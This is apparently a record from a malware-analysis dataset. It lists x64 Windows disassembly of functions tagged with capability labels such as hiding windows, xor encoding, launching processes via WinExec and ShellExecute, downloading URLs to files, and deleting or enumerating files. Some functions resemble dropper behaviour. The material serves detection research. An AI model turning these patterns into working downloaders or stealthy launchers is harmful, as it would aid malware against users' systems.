joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6de200
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rbp, rsp
mov rbx, rcx
mov esi, edx
mov rax, qword [0x00791918]
cmp qword [rax + 0x2d0], 0
je 0x6de3d9
test sil, sil
jne 0x6de2f8
cmp dword [rbx + 0x138], 0
jne 0x6de2e9
mov rcx, rbx
call fcn.006e26a0
lea rcx, [0x006de0a0]
mov rdx, rax
call sub.user32.dll_EnumWindows
cmp qword [rbx + 0xa8], 0
je 0x6de2ab
mov rax, qword [0x00791918]
cmp byte [rax + 0x193], 0
je 0x6de2ab
mov rax, qword [rbx + 0x1a0]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
test rax, rax
je 0x6de285
mov rax, qword [rax - 8]
lea rdi, [rax - 1]
test edi, edi
jl 0x6de2aa
mov rax, qword [rbx + 0x1a0]
movsxd rcx, edi
mov rcx, qword [rax + rcx*8]
xor edx, edx
call sub.user32.dll_ShowWindow
sub edi, 1
cmp edi, 0xffffffff
jne 0x6de28d
nop
mov rax, qword [rbx + 0x130]
mov edi, dword [rax + 0x10]
sub edi, 1
test edi, edi
jl 0x6de2e8
mov rcx, qword [rbx + 0x130]
mov edx, edi
call fcn.00500c30
mov rcx, rax
test sil, sil
setne al
movzx rax, al
neg eax
mov edx, eax
call sub.user32.dll_ShowOwnedPopups
sub edi, 1
cmp edi, 0xffffffff
jne 0x6de2bc
nop
lea rax, [rbx + 0x138]
add dword [rax], 1
jmp 0x6de3d9
cmp dword [rbx + 0x138], 0
jle 0x6de3d9
lea rax, [rbx + 0x138]
sub dword [rax], 1
cmp dword [rbx + 0x138], 0
jne 0x6de3d9
cmp qword [rbx + 0xa8], 0
je 0x6de378
mov rax, qword [0x00791918]
cmp byte [rax + 0x193], 0
je 0x6de378
mov rax, qword [rbx + 0x1a0]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
test rax, rax
je 0x6de34e
mov rax, qword [rax - 8]
lea rdi, [rax - 1]
test edi, edi
jl 0x6de377
mov rax, qword [rbx + 0x1a0]
movsxd rcx, edi
mov rcx, qword [rax + rcx*8]
mov edx, 5
call sub.user32.dll_ShowWindow
sub edi, 1
cmp edi, 0xffffffff
jne 0x6de356
nop
mov rax, qword [rbx + 0x130]
mov edi, dword [rax + 0x10]
sub edi, 1
test edi, edi
jl 0x6de3b5
mov rcx, qword [rbx + 0x130]
mov edx, edi
call fcn.00500c30
mov rcx, rax
test sil, sil
setne al
movzx rax, al
neg eax
mov edx, eax
call sub.user32.dll_ShowOwnedPopups
sub edi, 1
cmp edi, 0xffffffff
jne 0x6de389
nop
mov rax, qword [rbx + 0x130]
mov rcx, rax
mov rsi, qword [rax]
call qword [rsi + 0x10]
lea rcx, [rbx + 0x1a0]
mov rdx, qword [0x006c8470]
call fcn.00413430
lea rsp, [rbp + 0x38]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x6df570
Capabilities:
Get graphical window text

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x220
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
cmp byte [rbx + 0x158], 0
je 0x6df5dd
cmp byte [rbx + 0x193], 0
jne 0x6df5dd
mov rcx, qword [rbx + 0x2d0]
lea rdx, [rbp + 0x20]
mov r8d, pe_nt_image_headers64
call sub.user32.dll_GetWindowTextW
mov rcx, rsi
lea rdx, [rbp + 0x20]
mov r8d, eax
call fcn.00410060
xor eax, eax
mov rcx, qword [rsi]
test rcx, rcx
je 0x6df5c8
mov eax, dword [rcx - 4]
test eax, eax
jne 0x6df5ec
mov rcx, rsi
mov rdx, qword [rbx + 0x118]
call fcn.004103d0
jmp 0x6df5ec
mov rcx, rsi
mov rdx, qword [rbx + 0x118]
call fcn.004103d0
mov rax, rsi
lea rsp, [rbp + 0x220]
pop rbx
pop rsi
pop rbp
ret
Function at 0x6eb6f0
Capabilities:
Hide graphical window

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rbx, rcx
cmp qword [rbx + 0xc0], 0
jne 0x6eb7a3
mov rcx, qword [rbx + 0x10]
call fcn.005d3810
mov rcx, qword [0x005eb648]
mov dl, 1
mov r8, rax
call fcn.005cabb0
mov qword [rbx + 0xc0], rax
mov rsi, qword [rbx + 0xc0]
mov rcx, rsi
xor edx, edx
call fcn.005f79a0
lea rax, [rsi + 0x4b8]
mov qword [rax + 8], rbx
lea rcx, [0x006ead60]
mov qword [rax], rcx
mov rcx, qword [rbx + 0xc0]
call fcn.005d3810
mov rsi, rax
mov ecx, 3
call sub.user32.dll_GetSystemMetrics
mov rcx, rsi
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xc0]
call fcn.005d3810
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
cmp qword [rbx + 0xe0], 0
jne 0x6eb84c
mov rcx, qword [rbx + 0x10]
call fcn.005d3810
mov rcx, qword [0x005eb648]
mov dl, 1
mov r8, rax
call fcn.005cabb0
mov qword [rbx + 0xe0], rax
mov rsi, qword [rbx + 0xe0]
mov rcx, rsi
mov dl, 1
call fcn.005f79a0
lea rax, [rsi + 0x4b8]
mov qword [rax + 8], rbx
lea rcx, [0x006eadc0]
mov qword [rax], rcx
mov rcx, qword [rbx + 0xe0]
call fcn.005d3810
mov rsi, rax
mov ecx, 2
call sub.user32.dll_GetSystemMetrics
mov rcx, rsi
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xe0]
call fcn.005d3810
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
cmp qword [rbx + 0xd0], 0
jne 0x6eb8e6
mov rcx, qword [rbx + 0x10]
call fcn.005d3810
mov rcx, qword [0x005edb18]
mov dl, 1
mov r8, rax
call fcn.005cabb0
mov qword [rbx + 0xd0], rax
mov rax, qword [rbx + 0xd0]
mov byte [rax + 0x488], 1
mov rcx, qword [rbx + 0xd0]
call fcn.005d3810
mov rsi, rax
mov ecx, 2
call sub.user32.dll_GetSystemMetrics
mov edi, eax
mov ecx, 3
call sub.user32.dll_GetSystemMetrics
mov rcx, rsi
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xd0]
call fcn.005d3810
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret

Function at 0x6f6780
Capabilities:
Hash data with crc32

Disassembly:
xor ecx, ecx
lea rdx, [0x00791a30]
mov eax, ecx
mov r8d, 8
mov r9d, eax
and r9d, 1
test r9b, r9b
je 0x6f67a9
shr eax, 1
xor eax, 0xedb88320
jmp 0x6f67ac
shr eax, 1
sub r8d, 1
test r8d, r8d
jne 0x6f6792
nop
mov dword [rdx], eax
add ecx, 1
add rdx, 4
cmp ecx, 0x100
jne 0x6f6789
nop
mov byte [0x00791e30], 1
ret
Function at 0x6f67d0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rdx
mov esi, r8d
mov edi, ecx
cmp byte [0x00791e30], 0
jne 0x6f67ed
call fcn.006f6780
xor ecx, ecx
mov edx, esi
sub edx, 1
mov eax, ecx
cmp eax, edx
jg 0x6f6833
sub edx, ecx
add edx, 1
lea rcx, [0x00791a30]
movsxd r8, eax
movzx r8, byte [rbx + r8]
mov r9d, edi
xor r9d, r8d
and r9d, 0xff
mov r9d, r9d
shr edi, 8
mov ecx, dword [rcx + r9*4]
xor ecx, edi
mov edi, ecx
add eax, 1
sub edx, 1
test edx, edx
jne 0x6f67ff
nop
mov eax, edi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x721e00
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x20
mov rbp, rsp
mov qword [rbp + 0x38], rdx
mov rcx, qword [rbp + 0x38]
call fcn.0040ff30
nop
mov ecx, 0x2328
call sub.kernel32.dll_Sleep_2
lea rcx, [0x00721e68]
xor edx, edx
call sub.kernel32.dll_WinExec
mov ecx, 0x12c
call sub.kernel32.dll_Sleep_2
nop
lea rcx, [rbp + 0x38]
call fcn.0040fda0
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x7226c0
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x70
mov rbp, rsp
xor ecx, ecx
xor edx, edx
lea r8, [0x007222e0]
xor r9, r9
mov dword [rsp + 0x20], 0
lea rax, [rbp + 0x6c]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread_1
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x7258d0
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], r8
mov rcx, qword [rbp + 0x58]
call fcn.0040ff30
mov rcx, qword [rbp + 0x60]
call fcn.0040ff30
nop
lea rcx, [rbp + 0x38]
mov edx, 3
lea r8, [0x007259d4]
mov r9, qword [rbp + 0x60]
lea rax, [0x00725a30]
mov qword [rsp + 0x20], rax
call fcn.00411620
mov rcx, qword [rbp + 0x38]
call fcn.004110b0
xor ecx, ecx
lea rdx, [0x007259ac]
lea r8, [0x007259b8]
mov r9, rax
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
nop
lea rcx, [rbp + 0x38]
call fcn.0040fda0
lea rcx, [rbp + 0x58]
mov edx, 2
call fcn.0040fe80
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x725ff0
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], r8
mov qword [rbp + 0x68], r9
mov rcx, qword [rbp + 0x58]
call fcn.0040ff30
mov rcx, qword [rbp + 0x60]
call fcn.0040ff30
mov rcx, qword [rbp + 0x68]
call fcn.0040ff30
nop
mov ecx, 0x12c
call sub.kernel32.dll_Sleep_2
mov rcx, qword [rbp + 0x60]
call fcn.004110b0
mov rbx, rax
mov rcx, qword [rbp + 0x58]
call fcn.004110b0
xor ecx, ecx
mov rdx, rbx
mov r8, rax
xor r9, r9
mov qword [rsp + 0x20], 0
call sub.URLMON.DLL_URLDownloadToFileW
mov rax, qword [0x00784f58]
mov rax, qword [rax]
lea rcx, [rax + 0x6c8]
mov rdx, qword [rbp + 0x58]
call fcn.004103d0
mov rcx, qword [0x00791ec8]
mov rax, qword [0x00784f58]
mov rax, qword [rax]
mov rdx, qword [rax + 0x6c8]
mov r8, qword [rbp + 0x68]
call fcn.00726280
mov ecx, 0x12c
call sub.kernel32.dll_Sleep_2
nop
lea rcx, [rbp + 0x58]
mov edx, 3
call fcn.0040fe80
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret

Function at 0x728880
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x10
mov rbp, rsp
mov word [rbp + 0xa], 0xf7b
mov word [rbp + 0xc], 0xf9c
mov word [rbp + 0xe], 0x18c3
cmp r8d, dword [rbp + 0x40]
jne 0x7288f0
mov ecx, 1
mov eax, ecx
cmp eax, r8d
ja 0x7288eb
sub r8d, ecx
add r8d, 1
movzx eax, word [rbp + 0xe]
shr eax, 8
movzx rcx, byte [rdx]
xor cl, al
mov eax, ecx
mov byte [r9], al
add al, byte [rbp + 0xe]
movzx ax, al
imul ax, word [rbp + 0xa]
add ax, word [rbp + 0xc]
mov word [rbp + 0xe], ax
add rdx, 1
add r9, 1
sub r8d, 1
test r8d, r8d
jne 0x7288b4
nop
mov al, 1
jmp 0x7288f2
xor eax, eax
lea rsp, [rbp + 0x10]
pop rbp
ret
Function at 0x7290b0
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0xd0
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xe0], rcx
nop
nop
lea rcx, [rbp + 0x60]
mov edx, 0x70
xor r8, r8
call fcn.0040bdb0
mov dword [rbp + 0x60], 0x70
mov dword [rbp + 0x64], 0x40
mov qword [rbp + 0x68], 0
lea rax, [0x00729260]
mov qword [rbp + 0x70], rax
mov rax, qword [0x00785018]
mov rcx, qword [rax]
lea rdx, [rbp + 0x40]
call fcn.006e0f10
mov rcx, qword [rbp + 0x40]
call fcn.004110b0
mov qword [rbp + 0x78], rax
lea rax, [0x0072926c]
mov qword [rbp + 0x80], rax
mov rax, qword [0x00785018]
mov rcx, qword [rax]
lea rdx, [rbp + 0x30]
call fcn.006e0f10
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x30]
call fcn.004369a0
mov rcx, qword [rbp + 0x38]
call fcn.004110b0
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x90], 1
lea rcx, [rbp + 0x60]
call sub.shell32.dll_ShellExecuteExW
test eax, eax
je 0x7291f3
mov rcx, qword [rbp + 0xc8]
or edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
jmp 0x7291a8
mov rax, qword [0x00785018]
mov rcx, qword [rax]
call fcn.006dfe80
mov ecx, 1
lea rdx, [rbp + 0xc8]
xor r8, r8
or r9d, 0xffffffff
mov dword [rsp + 0x20], 0x4ff
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x729199
mov rcx, qword [rbp + 0xc8]
lea rdx, [rbp + 0x5c]
call sub.kernel32.dll_GetExitCodeProcess
cmp dword [rbp + 0x5c], 0x103
mov rcx, qword [rbp + 0xc8]
call sub.kernel32.dll_CloseHandle_1
jmp 0x729209
mov rcx, qword [0x00791ed8]
call fcn.007290b0
jmp 0x729209
nop
lea rcx, [rbp + 0x30]
mov edx, 3
call fcn.0040fe80
lea rsp, [rbp + 0xd0]
pop rbp
ret
Function at 0x729310
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x90
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x58], rbp
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0xa8], rdx
mov qword [rbp + 0xb0], r8
mov dword [rbp + 0xb8], r9d
nop
movzx rax, word [rbp + 0xb8]
mov word [rbp + 0x76], ax
lea rcx, [rbp + 0x78]
mov rdx, qword [rbp + 0xb0]
call fcn.00433e70
mov dword [rbp + 0x6c], 0
mov rax, qword [rbp + 0x78]
test rax, rax
je 0x7293a1
mov eax, dword [rax - 4]
mov dword [rbp + 0x6c], eax
lea rcx, [rbp + 0x88]
mov r8d, 2
mov eax, dword [rbp + 0x6c]
cdq
idiv r8d
mov rdx, rax
xor r8, r8
call fcn.00410b00
mov dword [rbp + 0x84], 1
nop
jmp 0x72945e
lea rcx, [rbp + 0x48]
mov rax, qword [rbp + 0x78]
movsxd rdx, dword [rbp + 0x84]
movzx rdx, word [rax + rdx*2 - 2]
call fcn.00411100
lea rcx, [rbp + 0x40]
mov rax, qword [rbp + 0x78]
mov edx, dword [rbp + 0x84]
add edx, 1
movsxd rdx, edx
movzx rdx, word [rax + rdx*2 - 2]
call fcn.00411100
lea rcx, [rbp + 0x50]
mov edx, 3
lea r8, [0x007295ec]
mov r9, qword [rbp + 0x48]
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.00411620
mov rcx, qword [rbp + 0x50]
call fcn.00435590
mov ecx, eax
mov r8, qword [rbp + 0x88]
mov r9d, 2
mov eax, dword [rbp + 0x84]
cdq
idiv r9d
movsxd rax, eax
mov byte [r8 + rax], cl
add dword [rbp + 0x84], 2
mov rcx, qword [rbp + 0x78]
call fcn.00410560
cmp dword [rbp + 0x84], eax
jl 0x7293d1
jmp 0x729497
mov dword [rbp + 0x68], 0
mov rax, qword [rbp + 0x88]
test rax, rax
je 0x7294b0
mov eax, dword [rax - 4]
mov dword [rbp + 0x68], eax
xor eax, eax
mov ecx, dword [rbp + 0x68]
sub ecx, 1
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], ecx
jg 0x729525
sub ecx, eax
add ecx, 1
movsxd rax, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x88]
movzx rdx, byte [rdx + rax]
mov dword [rbp + 0x80], edx
mov rdx, qword [rbp + 0x88]
lea rax, [rdx + rax]
movzx edx, word [rbp + 0x76]
shr edx, 8
xor byte [rax], dl
movzx rax, word [rbp + 0x80]
add ax, word [rbp + 0x76]
imul ax, word [rbp + 0xc0]
add ax, word [rbp + 0xc8]
mov word [rbp + 0x76], ax
add dword [rbp + 0x84], 1
sub ecx, 1
test ecx, ecx
jne 0x7294cb
nop
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x88]
call fcn.004175b0
mov rcx, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x38]
call fcn.00411230
nop
lea rcx, [rbp + 0x38]
call fcn.0040fe40
lea rcx, [rbp + 0x40]
mov edx, 3
call fcn.0040fe80
lea rcx, [rbp + 0x78]
call fcn.0040fda0
lea rcx, [rbp + 0x88]
call fcn.0040fdf0
mov rax, qword [rbp + 0xa8]
lea rsp, [rbp + 0x90]
pop rbp
ret
Function at 0x729910
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
sub rsp, 0x248
mov rbp, rsp
mov rbx, rdx
mov rcx, rbx
call fcn.0040fda0
mov rax, qword [0x00785018]
mov rax, qword [rax]
mov rcx, qword [rax + 0x2d0]
xor edx, edx
lea r8, [rbp + 0x28]
call sub.shell32.dll_SHGetSpecialFolderLocation
cmp qword [rbp + 0x28], 0
je 0x72996e
mov rcx, qword [rbp + 0x28]
lea rdx, [rbp + 0x36]
call sub.shell32.dll_SHGetPathFromIDListW
test eax, eax
je 0x72996e
mov rcx, rbx
lea rdx, [rbp + 0x36]
mov r8d, 0x105
call fcn.004111b0
mov rax, rbx
lea rsp, [rbp + 0x248]
pop rbx
pop rbp
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [rcx + 4], 0
mov r8, rcx
jne 0x140001047
xor r9d, r9d
mov r10d, r9d
mov r11d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
and cl, 1
cmovne r10d, eax
sub r11, 1
jne 0x140001015
inc r9d
mov dword [r8], r10d
add r8, 4
cmp r9d, 0x100
jb 0x14000100c
repz ret

Function at 0x1400010c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r10, r8
mov rbx, rdx
mov r11d, ecx
lea rsi, [0x14001c7c0]
test r8, r8
je 0x140001109
test bl, 7
je 0x140001109
movzx ecx, byte [rbx]
movzx eax, r11b
inc rbx
xor rcx, rax
mov eax, r11d
mov r11d, dword [rsi + rcx*4]
shr eax, 8
xor r11d, eax
sub r10, 1
jne 0x1400010e4
cmp r10, 8
jb 0x1400011b6
mov rdi, r10
shr rdi, 3
mov rax, rdi
imul rax, rax, 0xfffffffffffffff8
add r10, rax
xor r11d, dword [rbx]
mov r9d, dword [rbx + 4]
add rbx, 8
mov eax, r9d
shr eax, 0x10
movzx edx, al
mov eax, r9d
mov r8d, dword [rsi + rdx*4 + 0x400]
shr eax, 0x18
movzx ecx, al
mov eax, r9d
xor r8d, dword [rsi + rcx*4]
shr eax, 8
movzx ecx, al
mov eax, r11d
xor r8d, dword [rsi + rcx*4 + 0x800]
shr eax, 0x18
movzx ecx, al
mov eax, r11d
xor r8d, dword [rsi + rcx*4 + 0x1000]
shr eax, 0x10
movzx ecx, al
mov eax, r11d
xor r8d, dword [rsi + rcx*4 + 0x1400]
shr eax, 8
movzx ecx, al
movzx eax, r9b
xor r8d, dword [rsi + rcx*4 + 0x1800]
xor r8d, dword [rsi + rax*4 + 0xc00]
movzx eax, r11b
mov r11d, r8d
xor r11d, dword [rsi + rax*4 + 0x1c00]
sub rdi, 1
jne 0x140001124
test r10, r10
je 0x1400011db
movzx ecx, byte [rbx]
movzx eax, r11b
inc rbx
xor rcx, rax
mov eax, r11d
mov r11d, dword [rsi + rcx*4]
shr eax, 8
xor r11d, eax
sub r10, 1
jne 0x1400011bb
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, r11d
ret

Function at 0x140001768
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x14], 1
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov ebp, 0x4e20
jne 0x1400017a6
cmp r8, rbp
mov ecx, 0xfffffff6
cmova rdi, rbp
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbx + 8], rax
mov rcx, qword [rbx + 8]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000181b
mov rcx, rbx
call fcn.140001704
test al, al
je 0x1400017e6
cmp rdi, rbp
jbe 0x1400017e6
mov r8, rbp
mov rdx, rsi
mov rcx, rbx
call fcn.140001768
jmp 0x14000181f
cmp dword [rbx + 0x14], 1
jne 0x1400017fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
jne 0x1400017fb
xor eax, eax
jmp 0x14000181f
cmp dword [rbx + 0x14], 0
jne 0x140001816
mov ebp, 0x8000
cmp rdi, rbp
jbe 0x140001816
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
je 0x1400017d6
or eax, 0xffffffff
jmp 0x14000181f
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140001a8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x1030
call fcn.140014400
sub rsp, rax
mov rax, qword [0x14001b290]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x140001ae5
lea rdx, [rsp + 0x20]
mov r8d, 0x800
mov rcx, rdi
call fcn.140004a44
test al, al
je 0x140001ae5
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
mov eax, ebx
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.140008610
mov rbx, qword [rsp + 0x1048]
add rsp, 0x1030
pop rdi
ret

Function at 0x140001b08
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1030
call fcn.140014400
sub rsp, rax
mov rax, qword [0x14001b290]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov edi, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
test bl, bl
jne 0x140001b6f
lea rdx, [rsp + 0x20]
mov r8d, 0x800
mov rcx, rsi
call fcn.140004a44
test al, al
je 0x140001b6f
lea rcx, [rsp + 0x20]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
mov al, bl
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.140008610
lea r11, [rsp + 0x1030]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140001b98
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x1030
call fcn.140014400
sub rsp, rax
mov rax, qword [0x14001b290]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
test bl, bl
jne 0x140001bf6
lea rdx, [rsp + 0x20]
mov r8d, 0x800
mov rcx, rdi
call fcn.140004a44
test al, al
je 0x140001bf6
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
mov al, bl
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.140008610
mov rbx, qword [rsp + 0x1048]
add rsp, 0x1030
pop rdi
ret

Function at 0x140001c38
Capabilities:
Check if file exists
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1030
call fcn.140014400
sub rsp, rax
mov rax, qword [0x14001b290]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov dil, dl
xor edx, edx
mov esi, r8d
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140001cca
mov rcx, rbx
call fcn.140001a8c
cmp eax, 0xffffffff
jne 0x140001cac
lea rdx, [rsp + 0x20]
mov r8d, 0x800
mov rcx, rbx
call fcn.140004a44
test al, al
je 0x140001cac
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140001cca
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x140001cc3
cmp eax, 3
je 0x140001cc3
mov eax, 1
jmp 0x140001cdb
mov eax, 2
jmp 0x140001cdb
test dil, dil
je 0x140001cd9
mov edx, esi
mov rcx, rbx
call fcn.140001b08
xor eax, eax
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.140008610
lea r11, [rsp + 0x1030]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140001d50
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
mov eax, 0x1280
call fcn.140014400
sub rsp, rax
mov rax, qword [0x14001b290]
xor rax, rsp
mov qword [rsp + 0x1270], rax
mov rsi, rdx
mov rdi, r8
mov rbx, rcx
lea rdx, [rsp + 0x20]
mov r12d, 0x800
cmp rcx, 0xffffffffffffffff
jne 0x140001e04
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001e2e
lea rdx, [rsp + 0x270]
mov r8, r12
mov rcx, rsi
call fcn.140004a44
test al, al
je 0x140001ddb
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001e2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x140001df7
cmp eax, 3
je 0x140001df7
cmp eax, 0x12
je 0x140001df7
mov eax, 1
jmp 0x140001df9
xor eax, eax
mov byte [rdi + 0x1044], al
jmp 0x140001ec4
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001e24
or rbx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
setne al
mov byte [rdi + 0x1044], al
cmp rbx, 0xffffffffffffffff
je 0x140001ec4
mov r8, r12
mov rdx, rsi
mov rcx, rdi
call fcn.1400065a8
lea rdx, [rsp + 0x4c]
mov r8, r12
mov rcx, rdi
call fcn.140004808
mov eax, dword [rsp + 0x40]
mov r11d, dword [rsp + 0x3c]
shl r11, 0x20
lea rcx, [rdi + 0x1010]
lea rdx, [rsp + 0x34]
add r11, rax
mov eax, dword [rsp + 0x20]
mov dword [rdi + 0x1008], eax
mov rax, qword [rsp + 0x24]
mov qword [rdi + 0x1000], r11
mov qword [rdi + 0x1028], rax
mov rax, qword [rsp + 0x2c]
mov qword [rdi + 0x1030], rax
mov rax, qword [rsp + 0x34]
mov qword [rdi + 0x1038], rax
call fcn.1400066c4
lea rcx, [rdi + 0x1018]
lea rdx, [rsp + 0x24]
call fcn.1400066c4
lea rcx, [rdi + 0x1020]
lea rdx, [rsp + 0x2c]
call fcn.1400066c4
and dword [rdi + 0x1040], 0
mov rax, rbx
mov rcx, qword [rsp + 0x1270]
xor rcx, rsp
call fcn.140008610
mov rbx, qword [rsp + 0x12b8]
add rsp, 0x1280
pop r12
pop rdi
pop rsi
ret